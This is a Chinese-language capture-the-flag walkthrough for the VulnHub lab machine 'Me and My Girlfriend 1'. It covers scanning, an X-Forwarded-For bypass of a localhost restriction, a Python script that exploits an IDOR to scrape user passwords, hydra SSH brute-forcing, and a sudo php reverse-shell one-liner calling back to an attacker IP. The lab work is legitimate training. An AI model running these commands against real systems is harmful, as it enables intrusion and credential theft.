
靶机系列测试教程 Me and My Girlfriend 1

1 交流平台

随着教程的推出，看视频的人也越来越多，随之而来的问题也增多，本人平时非常忙，难以有

时间回复大家的问题，特意建立了一个 QQ群，里面有很多这方面的高手，有什么不懂的，请到群

里提问，咨询问题的时候，一定要详细，不然没人会回复你，另外本人有时间会在群内直播测试靶

机，还没加上群的赶快加上了。

交流 QQ群 微信号

博客 www.moonsec.com

2 介绍

2.1靶机介绍

描述 说明

Difficulty Level Beginner
Notes there are 2 flag files
Learning WebApplication | Enumeration | Privilege Escalation
Description This VM tells us that there are a couple of lovers namely Alice and Bob, where the

couple was originally very romantic, but since Alice worked at a private company,
"Ceban Corp", something has changed from Alice's attitude towards Bob like
something is "hidden", And Bob asks for your help to get what Alice is hiding and
get full access to the company!



下载地址

https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

难度 容易

3 靶机测试

3.1信息收集

3.1.1 nmap扫描

nmap -p- -A -O 192.168.0.172 -oA girlfriend1-prots

3.2目录扫描

gobuster dir -u http://192.168.0.172 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100



目录可以访问 存在 config.php文件。

3.3绕过本地访问限制

访问主页发现有限制

用这个插件 再增加上 127.0.0.1 即可绕过



3.4平行越权漏洞

发现注册登录和注册页面

注册用户



查看个人信息 http://192.168.0.172/?page=profile&user_id=14 发现可以查看密码

把 id修改会其他试试 例如 1



即可获取 id=1用户的账号和密码

3.5编写 PYTHON脚本

#coding:utf-8
import requests
import re

def GetUserInfo(id):
headers = {'user-agent':'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101

Firefox/68.0','X-Forwarded-For':'127.0.0.1'}
cookie = {'PHPSESSID':'7ft50201doao7hv880juplpll7'}
r = requests.get(url="http://192.168.0.172/index.php?page=profile&user_id=%s" %

id,headers=headers,cookies=cookie).text
name=re.search('id="name\"\svalue="(.*?)">',r).group(1)
username=re.search('username\"\svalue="(.*?)"',r).group(1)
password=re.search('password\"\svalue="(.*?)"',r).group(1)
return name,username,password

for i in range(0,15):
name,username,password=(GetUserInfo(str(i)))



if name:
print (username+":"+password)

3.6运行脚本保存用户

3.7 hydra穷举 ssh

把用户信息保存下来 再用 hydra 爆破 ssh
hydra -C userinfo ssh://192.168.0.172

发现存在用户 alice 密码 4lic3

3.8登录 ssh

3.9得到 flag1.txt



这里提示我们要继续获取 root下的 flag

3.10 提权提升

3.10.1 查看当前权限

sudo -l

发现 php不需要密码就可以执行操作

3.10.2 php反弹 shell

nc -lnvp 9001
sudo php -r '$sock=fsockopen("192.168.0.164",9001);exec("/bin/bash -i <&3 >&3 2>&3");'



3.10.3 得到 root下的 flag1.txt

4 关注公众号

扫描订阅号 有新的教程会在公众号更新
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